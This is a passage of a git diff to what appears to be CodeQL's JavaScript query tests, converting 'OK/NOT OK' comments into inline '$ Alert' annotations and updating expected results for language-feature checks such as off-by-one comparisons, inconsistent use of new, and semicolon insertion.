 }
 
-let c = new C(); // OK
-C();             // NOT OK
-new (x=>x);      // NOT OK
-c.m();           // OK
-new c.m();       // NOT OK - but not flagged
+let c = new C();
+C();             // $ Alert
+new (x=>x);      // $ Alert
+c.m();
+new c.m();       // $ MISSING: Alert
 
 var o = {
   f: function() {},
   g() {}
 };
-o.f();           // OK
-new o.f();       // OK
-o.g();           // OK
-new o.g();       // NOT OK - but not flagged
+o.f();
+new o.f();
+o.g();
+new o.g();       // $ MISSING: Alert
 
 function f(b) {
   var g;
@@ -31,31 +31,31 @@ function f(b) {
     g = (() => {});
   console.log();
   if (!b)
-    g();         // OK
+    g();
   else
-    new g();     // OK
+    new g();
 }
 
 function* g() {}
 async function h() {}
 
-new g()          // NOT OK
-new h()          // NOT OK
+new g()          // $ Alert
+new h()          // $ Alert
 
-C.call();        // NOT OK
-C.apply();       // NOT OK
+C.call();        // $ Alert
+C.apply();       // $ Alert
 
 class E {
   static call() {}
   static apply() {}
 }
 
-E.call();        // OK
-E.apply();       // OK
+E.call();
+E.apply();
 
 function invoke(fn) {
   if (typeof fn === "function" && fn.hasOwnProperty("foo")) {
-    fn(); // OK
+    fn();
   }
 }
 invoke(C);
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/InconsistentNew.expected b/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/InconsistentNew.expected
index 0c03a59fd223..e2aa2ed56f3e 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/InconsistentNew.expected
+++ b/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/InconsistentNew.expected
@@ -1,2 +1,2 @@
-| m.js:1:8:1:22 | functio ...  = x;\\n} | Function A is sometimes invoked as a constructor (for example $@), and sometimes as a normal function (for example $@). | c1.js:2:1:2:9 | new A(42) | here | c2.js:2:1:2:5 | A(23) | here |
-| tst.js:1:1:1:22 | functio ...  = y;\\n} | Function Point is sometimes invoked as a constructor (for example $@), and sometimes as a normal function (for example $@). | tst.js:6:1:6:17 | new Point(23, 42) | here | tst.js:7:1:7:13 | Point(56, 72) | here |
+| m.js:1:8:1:33 | functio ...  = x;\\n} | Function A is sometimes invoked as a constructor (for example $@), and sometimes as a normal function (for example $@). | c1.js:2:1:2:9 | new A(42) | here | c2.js:2:1:2:5 | A(23) | here |
+| tst.js:1:1:1:33 | functio ...  = y;\\n} | Function Point is sometimes invoked as a constructor (for example $@), and sometimes as a normal function (for example $@). | tst.js:6:1:6:17 | new Point(23, 42) | here | tst.js:7:1:7:13 | Point(56, 72) | here |
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/InconsistentNew.qlref b/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/InconsistentNew.qlref
index 8c5695ffb85c..a03be885e21c 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/InconsistentNew.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/InconsistentNew.qlref
@@ -1 +1,2 @@
-LanguageFeatures/InconsistentNew.ql
\ No newline at end of file
+query: LanguageFeatures/InconsistentNew.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/a1.js b/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/a1.js
index 1585d8add718..3ecf658e45c9 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/a1.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/a1.js
@@ -1,3 +1,3 @@
 function A() {}
-new A(); // OK
-String(""); // OK
\ No newline at end of file
+new A();
+String("");
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/a2.js b/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/a2.js
index 407b91aec013..1c9f2e07a49a 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/a2.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/a2.js
@@ -1,6 +1,6 @@
 function A() {}
-A(); // OK
+A();
 
 function MyString() {}
 String = MyString;
-new String(); // OK
\ No newline at end of file
+new String();
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/arraycalls.js b/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/arraycalls.js
index 6aaeaa7a9f18..a3477727286b 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/arraycalls.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/arraycalls.js
@@ -1,2 +1,2 @@
-Array(45); // OK
-new Array(45); // OK
+Array(45);
+new Array(45);
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/m.js b/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/m.js
index 416caeb40635..1bc9fbf5f537 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/m.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/m.js
@@ -1,3 +1,3 @@
-export function A(x) {
+export function A(x) { // $ Alert
    this.x = x;
 };
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/tst.js
index 56af21411b67..fb22e98ade67 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/InconsistentNew/tst.js
@@ -1,4 +1,4 @@
-function Point(x, y) {
+function Point(x, y) { // $ Alert
 	this.x = x;
 	this.y = y;
 }
@@ -48,13 +48,13 @@ function RobustPoint4(x, y) {
 new RobustPoint4(23, 42);
 RobustPoint4(56, 72);
 
-// OK: Error is an external function
+// OK - Error is an external function
 new Error();
 Error();
 
 class C {}
 new C();
-C(); // NOT OK, but flagged by IllegalInvocation
+C(); // OK - flagged by IllegalInvocation
 
 (function() {
 	function A(x) {
@@ -64,5 +64,5 @@ C(); // NOT OK, but flagged by IllegalInvocation
 	A.call({}, 23);
 })();
 
-new Point(42, 23); // NOT OK, but not flagged since line 6 above was already flagged
-Point(56, 72);     // NOT OK, but not flagged since line 7 above was already flagged
+new Point(42, 23); // OK - not flagged since line 6 above was already flagged
+Point(56, 72);     // OK - not flagged since line 7 above was already flagged
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/InvalidPrototype/InvalidPrototype.qlref b/javascript/ql/test/query-tests/LanguageFeatures/InvalidPrototype/InvalidPrototype.qlref
index 04e81233ed77..307244114cbc 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/InvalidPrototype/InvalidPrototype.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/InvalidPrototype/InvalidPrototype.qlref
@@ -1 +1,2 @@
-LanguageFeatures/InvalidPrototype.ql
\ No newline at end of file
+query: LanguageFeatures/InvalidPrototype.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/InvalidPrototype/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/InvalidPrototype/tst.js
index 1015db92cff4..5c12a3b7d853 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/InvalidPrototype/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/InvalidPrototype/tst.js
@@ -1,11 +1,11 @@
-var o1 = { __proto__: null };                   // OK
-Object.setPrototypeOf(o1, Function.prototype);  // OK
-Object.create(class{});                         // OK
-Function.prototype.isPrototypeOf(o1);           // OK
-o1.__proto__ = new Date();                      // OK
+var o1 = { __proto__: null };
+Object.setPrototypeOf(o1, Function.prototype);
+Object.create(class{});
+Function.prototype.isPrototypeOf(o1);
+o1.__proto__ = new Date();
 
-var o2 = { __proto__: undefined };              // NOT OK
-Object.setPrototypeOf(o2, 42);                  // NOT OK
-Object.create(true);                            // NOT OK
-"function".isPrototypeOf(o2);                   // NOT OK
+var o2 = { __proto__: undefined };              // $ Alert
+Object.setPrototypeOf(o2, 42);                  // $ Alert
+Object.create(true);                            // $ Alert
+"function".isPrototypeOf(o2);                   // $ Alert
 
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/JumpFromFinally/JumpFromFinally.qlref b/javascript/ql/test/query-tests/LanguageFeatures/JumpFromFinally/JumpFromFinally.qlref
index f76a131eff46..6404cd83590e 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/JumpFromFinally/JumpFromFinally.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/JumpFromFinally/JumpFromFinally.qlref
@@ -1 +1,2 @@
-LanguageFeatures/JumpFromFinally.ql
\ No newline at end of file
+query: LanguageFeatures/JumpFromFinally.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/JumpFromFinally/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/JumpFromFinally/tst.js
index 0cf40521ad93..d875f1c1d03e 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/JumpFromFinally/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/JumpFromFinally/tst.js
@@ -4,7 +4,7 @@ function foo(resource) {
 			throw new Error();
 	} finally {
 		resource.close();
-		return true;
+		return true; // $ Alert
 	}
 }
 
@@ -25,7 +25,7 @@ function baz(resource) {
 				throw new Error();
 		} finally {
 			resource.close();
-			break;
+			break; // $ Alert
 		}
 	}
 }
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/LengthComparisonOffByOne/LengthComparisonOffByOne.expected b/javascript/ql/test/query-tests/LanguageFeatures/LengthComparisonOffByOne/LengthComparisonOffByOne.expected
index 2af10be24c0d..c9b2667e9e74 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/LengthComparisonOffByOne/LengthComparisonOffByOne.expected
+++ b/javascript/ql/test/query-tests/LanguageFeatures/LengthComparisonOffByOne/LengthComparisonOffByOne.expected
@@ -1,7 +1,7 @@
-| tst.js:2:17:2:32 | i <= args.length | Off-by-one index comparison against length may lead to out-of-bounds $@. | tst.js:3:15:3:21 | args[i] | read |
-| tst.js:7:17:7:32 | args.length >= i | Off-by-one index comparison against length may lead to out-of-bounds $@. | tst.js:8:15:8:21 | args[i] | read |
-| tst.js:18:5:18:20 | j <= args.length | Off-by-one index comparison against length may lead to out-of-bounds $@. | tst.js:19:15:19:21 | args[j] | read |
-| tst.js:23:5:23:20 | args.length >= j | Off-by-one index comparison against length may lead to out-of-bounds $@. | tst.js:24:15:24:21 | args[j] | read |
-| tst.js:34:19:34:31 | i <= a.length | Off-by-one index comparison against length may lead to out-of-bounds $@. | tst.js:35:9:35:12 | a[i] | read |
-| tst.js:51:9:51:21 | i <= a.length | Off-by-one index comparison against length may lead to out-of-bounds $@. | tst.js:51:43:51:46 | a[i] | read |
-| tst.js:51:26:51:38 | i <= b.length | Off-by-one index comparison against length may lead to out-of-bounds $@. | tst.js:51:52:51:55 | b[i] | read |
+| tst.js:1:17:1:32 | i <= args.length | Off-by-one index comparison against length may lead to out-of-bounds $@. | tst.js:2:15:2:21 | args[i] | read |
+| tst.js:5:17:5:32 | args.length >= i | Off-by-one index comparison against length may lead to out-of-bounds $@. | tst.js:6:15:6:21 | args[i] | read |
+| tst.js:15:5:15:20 | j <= args.length | Off-by-one index comparison against length may lead to out-of-bounds $@. | tst.js:16:15:16:21 | args[j] | read |
+| tst.js:19:5:19:20 | args.length >= j | Off-by-one index comparison against length may lead to out-of-bounds $@. | tst.js:20:15:20:21 | args[j] | read |
+| tst.js:29:19:29:31 | i <= a.length | Off-by-one index comparison against length may lead to out-of-bounds $@. | tst.js:30:9:30:12 | a[i] | read |
+| tst.js:46:9:46:21 | i <= a.length | Off-by-one index comparison against length may lead to out-of-bounds $@. | tst.js:46:43:46:46 | a[i] | read |
+| tst.js:46:26:46:38 | i <= b.length | Off-by-one index comparison against length may lead to out-of-bounds $@. | tst.js:46:52:46:55 | b[i] | read |
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/LengthComparisonOffByOne/LengthComparisonOffByOne.qlref b/javascript/ql/test/query-tests/LanguageFeatures/LengthComparisonOffByOne/LengthComparisonOffByOne.qlref
index 4b12bd2f70ba..2514b6d76698 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/LengthComparisonOffByOne/LengthComparisonOffByOne.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/LengthComparisonOffByOne/LengthComparisonOffByOne.qlref
@@ -1 +1,2 @@
-LanguageFeatures/LengthComparisonOffByOne.ql
\ No newline at end of file
+query: LanguageFeatures/LengthComparisonOffByOne.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/LengthComparisonOffByOne/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/LengthComparisonOffByOne/tst.js
index c819b10ad56a..6b214c9b0423 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/LengthComparisonOffByOne/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/LengthComparisonOffByOne/tst.js
@@ -1,43 +1,38 @@
-// BAD: Loop upper bound is off-by-one
-for (var i = 0; i <= args.length; i++) {
+for (var i = 0; i <= args.length; i++) { // $ Alert - Loop upper bound is off-by-one
   console.log(args[i]);
 }
 
-// BAD: Loop upper bound is off-by-one
-for (var i = 0; args.length >= i; i++) {
+for (var i = 0; args.length >= i; i++) { // $ Alert - Loop upper bound is off-by-one
   console.log(args[i]);
 }
 
-// GOOD: Loop upper bound is correct
+// OK - Loop upper bound is correct
 for (var i = 0; i < args.length; i++) {
   console.log(args[i]);
 }
 
 var j = 0;
-// BAD: Off-by-one on index validity check
-if (j <= args.length) {
+if (j <= args.length) { // $ Alert - Off-by-one on index validity check
   console.log(args[j]);
 }
 
-// BAD: Off-by-one on index validity check
-if (args.length >= j) {
+if (args.length >= j) { // $ Alert - Off-by-one on index validity check
   console.log(args[j]);
 }
 
-// GOOD: Correct terminating value
+// OK - Correct terminating value
 if (args.length > j) {
   console.log(args[j]);
 }
 
-// BAD: incorrect upper bound
-function badContains(a, elt) {
-  for (let i = 0; i <= a.length; ++i)
+function badContains(a, elt) { // incorrect upper bound
+  for (let i = 0; i <= a.length; ++i) // $ Alert
     if (a[i] === elt)
       return true;
   return false;
 }
 
-// GOOD: correct upper bound
+// OK - correct upper bound
 function goodContains(a, elt) {
   for (let i = 0; i < a.length; ++i)
     if (a[i] === elt)
@@ -48,12 +43,12 @@ function goodContains(a, elt) {
 // this is arguably OK, but we flag it
 function same(a, b) {
   for (var i=0; i < a.length || i < b.length ; ++i)
-    if (i <= a.length && i <= b.length && a[i] !== b[i])
+    if (i <= a.length && i <= b.length && a[i] !== b[i]) // $ Alert
       return false;
   return true;
 }
 
-// GOOD: incorrect upper bound, but extra check
+// OK - incorrect upper bound, but extra check
 function badContains(a, elt) {
   for (let i = 0; i <= a.length; ++i)
     if (i !== a.length && a[i] === elt)
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/NonLinearPattern.expected b/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/NonLinearPattern.expected
index 2f61724a5661..31d9fc228113 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/NonLinearPattern.expected
+++ b/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/NonLinearPattern.expected
@@ -1,11 +1,11 @@
 | NonLinearPatternTS.ts:1:34:1:39 | number | The pattern variable 'number' appears to be a type, but is a variable $@. | NonLinearPatternTS.ts:1:23:1:28 | number | previously bound |
-| ts-test.ts:3:13:3:13 | x | Repeated binding of pattern variable 'x' $@. | ts-test.ts:3:10:3:10 | x | previously bound |
-| ts-test.ts:8:16:8:16 | x | Repeated binding of pattern variable 'x' $@. | ts-test.ts:8:10:8:10 | x | previously bound |
-| ts-test.ts:11:10:11:10 | x | Repeated binding of pattern variable 'x' $@. | ts-test.ts:11:7:11:7 | x | previously bound |
-| ts-test.ts:21:8:21:13 | string | The pattern variable 'string' appears to be a type, but is a variable $@. | ts-test.ts:20:8:20:13 | string | previously bound |
-| ts-test.ts:32:16:32:16 | x | Repeated binding of pattern variable 'x' $@. | ts-test.ts:30:12:30:12 | x | previously bound |
-| ts-test.ts:34:20:34:20 | x | Repeated binding of pattern variable 'x' $@. | ts-test.ts:30:12:30:12 | x | previously bound |
-| ts-test.ts:40:27:40:32 | string | Repeated binding of pattern variable 'string' $@. | ts-test.ts:40:16:40:21 | string | previously bound |
-| tst.js:3:13:3:13 | x | Repeated binding of pattern variable 'x' $@. | tst.js:3:10:3:10 | x | previously bound |
-| tst.js:8:16:8:16 | x | Repeated binding of pattern variable 'x' $@. | tst.js:8:10:8:10 | x | previously bound |
-| tst.js:11:10:11:10 | x | Repeated binding of pattern variable 'x' $@. | tst.js:11:7:11:7 | x | previously bound |
+| ts-test.ts:2:13:2:13 | x | Repeated binding of pattern variable 'x' $@. | ts-test.ts:2:10:2:10 | x | previously bound |
+| ts-test.ts:6:16:6:16 | x | Repeated binding of pattern variable 'x' $@. | ts-test.ts:6:10:6:10 | x | previously bound |
+| ts-test.ts:8:10:8:10 | x | Repeated binding of pattern variable 'x' $@. | ts-test.ts:8:7:8:7 | x | previously bound |
+| ts-test.ts:18:8:18:13 | string | The pattern variable 'string' appears to be a type, but is a variable $@. | ts-test.ts:17:8:17:13 | string | previously bound |
+| ts-test.ts:29:16:29:16 | x | Repeated binding of pattern variable 'x' $@. | ts-test.ts:27:12:27:12 | x | previously bound |
+| ts-test.ts:31:20:31:20 | x | Repeated binding of pattern variable 'x' $@. | ts-test.ts:27:12:27:12 | x | previously bound |
+| ts-test.ts:37:27:37:32 | string | Repeated binding of pattern variable 'string' $@. | ts-test.ts:37:16:37:21 | string | previously bound |
+| tst.js:2:13:2:13 | x | Repeated binding of pattern variable 'x' $@. | tst.js:2:10:2:10 | x | previously bound |
+| tst.js:6:16:6:16 | x | Repeated binding of pattern variable 'x' $@. | tst.js:6:10:6:10 | x | previously bound |
+| tst.js:8:10:8:10 | x | Repeated binding of pattern variable 'x' $@. | tst.js:8:7:8:7 | x | previously bound |
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/NonLinearPattern.qlref b/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/NonLinearPattern.qlref
index 322a10d00085..5684a790f6cc 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/NonLinearPattern.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/NonLinearPattern.qlref
@@ -1 +1,2 @@
-LanguageFeatures/NonLinearPattern.ql
\ No newline at end of file
+query: LanguageFeatures/NonLinearPattern.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/NonLinearPatternTS.ts b/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/NonLinearPatternTS.ts
index d19e8bb327fc..2ff108ddb8a1 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/NonLinearPatternTS.ts
+++ b/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/NonLinearPatternTS.ts
@@ -1,3 +1,3 @@
-function distance({x: number, y: number}) {
+function distance({x: number, y: number}) { // $ Alert
     return Math.sqrt(x*x + y*y);
 }
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/ts-test.ts b/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/ts-test.ts
index 1198d2c5ff74..120fa7098ee5 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/ts-test.ts
+++ b/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/ts-test.ts
@@ -1,41 +1,38 @@
 function distanceFromOrigin(point) {
-    // NOT OK
-    var [x, x] = point;
+    var [x, x] = point; // $ Alert
     return Math.sqrt(x*x + y*y);
 }
 
-// NOT OK
-var { x: x, y: x } = o;
+var { x: x, y: x } = o; // $ Alert
+
+var { x, x } = o; // $ Alert
 
-// NOT OK
-var { x, x } = o;
 
-// OK
 var { x: x, x: y } = o;
 
-// OK
+
 var { p = x, q = x } = o;
 
 function f({
     x: string,
-    y: string  // NOT OK
+    y: string  // $ Alert
 }) {
 }
 
-function g({x, y}: {x: string, y: string}) { // OK
+function g({x, y}: {x: string, y: string}) {
 }
 
 function blah(arg) {
     var {
         x: x,
         y: {
-            x: x, // NOT OK
+            x: x, // $ Alert
             y: {
-                x: x // NOT OK
+                x: x // $ Alert
             }
         }
     } = arg;
 }
 
-function h({x: string, y: string}: any) {  // NOT OK
+function h({x: string, y: string}: any) {  // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/tst.js
index 0e6b79f4675f..017499000358 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/NonLinearPattern/tst.js
@@ -1,17 +1,14 @@
 function distanceFromOrigin(point) {
-    // NOT OK
-    var [x, x] = point;
+    var [x, x] = point; // $ Alert
     return Math.sqrt(x*x + y*y);
 }
 
-// NOT OK
-var { x: x, y: x } = o;
+var { x: x, y: x } = o; // $ Alert
+
+var { x, x } = o; // $ Alert
 
-// NOT OK
-var { x, x } = o;
 
-// OK
 var { x: x, x: y } = o;
 
-// OK
+
 var { p = x, q = x } = o;
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/PropertyWriteOnPrimitive/PropertyWriteOnPrimitive.expected b/javascript/ql/test/query-tests/LanguageFeatures/PropertyWriteOnPrimitive/PropertyWriteOnPrimitive.expected
index 9dcd49a99d3f..75d8c23b51f6 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/PropertyWriteOnPrimitive/PropertyWriteOnPrimitive.expected
+++ b/javascript/ql/test/query-tests/LanguageFeatures/PropertyWriteOnPrimitive/PropertyWriteOnPrimitive.expected
@@ -1,3 +1,3 @@
-| tst.js:2:1:2:3 | (0) | Assignment to property foo of a primitive value with type number. |
-| tst.js:11:5:11:5 | s | Assignment to a property of a primitive value with type string. |
-| tst.js:17:3:17:3 | x | Assignment to property y of a primitive value with type number or string. |
+| tst.js:1:1:1:3 | (0) | Assignment to property foo of a primitive value with type number. |
+| tst.js:8:5:8:5 | s | Assignment to a property of a primitive value with type string. |
+| tst.js:13:3:13:3 | x | Assignment to property y of a primitive value with type number or string. |
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/PropertyWriteOnPrimitive/PropertyWriteOnPrimitive.qlref b/javascript/ql/test/query-tests/LanguageFeatures/PropertyWriteOnPrimitive/PropertyWriteOnPrimitive.qlref
index f57cf67c800c..6dccd34408b6 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/PropertyWriteOnPrimitive/PropertyWriteOnPrimitive.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/PropertyWriteOnPrimitive/PropertyWriteOnPrimitive.qlref
@@ -1 +1,2 @@
-LanguageFeatures/PropertyWriteOnPrimitive.ql
\ No newline at end of file
+query: LanguageFeatures/PropertyWriteOnPrimitive.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/PropertyWriteOnPrimitive/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/PropertyWriteOnPrimitive/tst.js
index 5d83bad877dc..a74ffbc860a2 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/PropertyWriteOnPrimitive/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/PropertyWriteOnPrimitive/tst.js
@@ -1,24 +1,20 @@
-// NOT OK
-(0).foo = 42;
+(0).foo = 42; // $ Alert
 
-// NOT OK, but already flagged by SuspiciousPropAccess.ql
-null.bar = 23;  undefined.baz = 42;
+null.bar = 23;  undefined.baz = 42; // OK - already flagged by SuspiciousPropAccess.ql
 
 function f() {
   var s = "";
   for (var i=0;i<10;++i)
-    // NOT OK
-    s[i] = " ";
+    s[i] = " "; // $ Alert
 }
 
 function g(b) {
   var x = b ? "" : 42, z;
-  // NOT OK
-  x.y = true;
-  // OK: we don't know the type of `b`
+  x.y = true; // $ Alert
+  // OK - we don't know the type of `b`
   b.y = true;
   return;
-  // OK: no types inferred for `z`, since this is dead code
+  // OK - no types inferred for `z`, since this is dead code
   z.y = true;
 }
 
@@ -26,4 +22,4 @@ function h() {
   let tmp;
   let obj = (tmp ||= {});
   obj.p = 42;
-}
\ No newline at end of file
+}
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SemicolonInsertion/SemicolonInsertion.qlref b/javascript/ql/test/query-tests/LanguageFeatures/SemicolonInsertion/SemicolonInsertion.qlref
index 2419fbd90b9b..b84aceb435ad 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SemicolonInsertion/SemicolonInsertion.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SemicolonInsertion/SemicolonInsertion.qlref
@@ -1 +1,2 @@
-LanguageFeatures/SemicolonInsertion.ql
+query: LanguageFeatures/SemicolonInsertion.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SemicolonInsertion/export.js b/javascript/ql/test/query-tests/LanguageFeatures/SemicolonInsertion/export.js
index 7e06517fe174..4c95a6eb67dc 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SemicolonInsertion/export.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SemicolonInsertion/export.js
@@ -2,7 +2,7 @@ export default function f() {
 	return 23;
 }
 
-export var x = 42
+export var x = 42 // $ Alert
 
 //pad with enough explicit semicolons to satisfy 90% threshold
 foo();
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SemicolonInsertion/jscript.js b/javascript/ql/test/query-tests/LanguageFeatures/SemicolonInsertion/jscript.js
index 5e9b07cf6757..6f125751c3a2 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SemicolonInsertion/jscript.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SemicolonInsertion/jscript.js
@@ -1,6 +1,6 @@
 function window::onload() {}
 
-window.onload = function onload() {}
+window.onload = function onload() {} // $ Alert
 
 // pad with enough explicit semicolons to satisfy 90% threshold
 foo();
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SemicolonInsertion/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/SemicolonInsertion/tst.js
index 9b1d6f668923..3c296665f301 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SemicolonInsertion/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SemicolonInsertion/tst.js
@@ -1,22 +1,22 @@
 function tst() {
-  var a = { // NOT OK
+  var a = {
     'i': 1,
     'j': 2
-  }
+  } // $ Alert
 
-  return 1 // NOT OK
+  return 1 // $ Alert
 
-  if (condition) { // OK
+  if (condition) {
   }
 
-  for (i = 0; i < 10; i++) { // OK
+  for (i = 0; i < 10; i++) {
   }
 
-  label: while (condition) { // OK
-    break label; // OK
+  label: while (condition) {
+    break label;
   }
 
-  return 1; // OK
+  return 1;
 
   //pad with enough explicit semicolons to satisfy 90% threshold
   foo();
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SetterIgnoresParameter/SetterIgnoresParameter.expected b/javascript/ql/test/query-tests/LanguageFeatures/SetterIgnoresParameter/SetterIgnoresParameter.expected
index bf01936dd730..e49869816edf 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SetterIgnoresParameter/SetterIgnoresParameter.expected
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SetterIgnoresParameter/SetterIgnoresParameter.expected
@@ -1,2 +1,2 @@
-| tst.js:15:3:15:12 | set x(v ...  OK\\n\\t\\t} | This setter function does not use its parameter $@. | tst.js:15:9:15:9 | v | v |
-| tst.js:40:3:40:25 | set y(_ ... _x\|0; } | This setter function does not use its parameter $@. | tst.js:40:9:40:10 | _y | _y |
+| tst.js:15:3:15:23 | set x(v ... ert\\n\\t\\t} | This setter function does not use its parameter $@. | tst.js:15:9:15:9 | v | v |
+| tst.js:38:3:38:25 | set y(_ ... _x\|0; } | This setter function does not use its parameter $@. | tst.js:38:9:38:10 | _y | _y |
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SetterIgnoresParameter/SetterIgnoresParameter.qlref b/javascript/ql/test/query-tests/LanguageFeatures/SetterIgnoresParameter/SetterIgnoresParameter.qlref
index c5e101163a52..f090c96c40ce 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SetterIgnoresParameter/SetterIgnoresParameter.qlref
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SetterIgnoresParameter/SetterIgnoresParameter.qlref
@@ -1 +1,2 @@
-LanguageFeatures/SetterIgnoresParameter.ql
\ No newline at end of file
+query: LanguageFeatures/SetterIgnoresParameter.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/LanguageFeatures/SetterIgnoresParameter/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/SetterIgnoresParameter/tst.js
index 22439c1e4f91..58682204ca5f 100644
--- a/javascript/ql/test/query-tests/LanguageFeatures/SetterIgnoresParameter/tst.js
+++ b/javascript/ql/test/query-tests/LanguageFeatures/SetterIgnoresParameter/tst.js
@@ -5,27 +5,26 @@ function A() {
 			return _a;
 		},
 		set a(v) {
-			// OK
+			
 			_a = v|0
 		},
 
 		get x() {
 			return _x;
 		},
-		set x(v) {
-			// NOT OK
+		set x(v) { // $ Alert
 		},
 
 		get y() {
 			return 56;
 		},
 		set y(v) {
-			// OK
+			
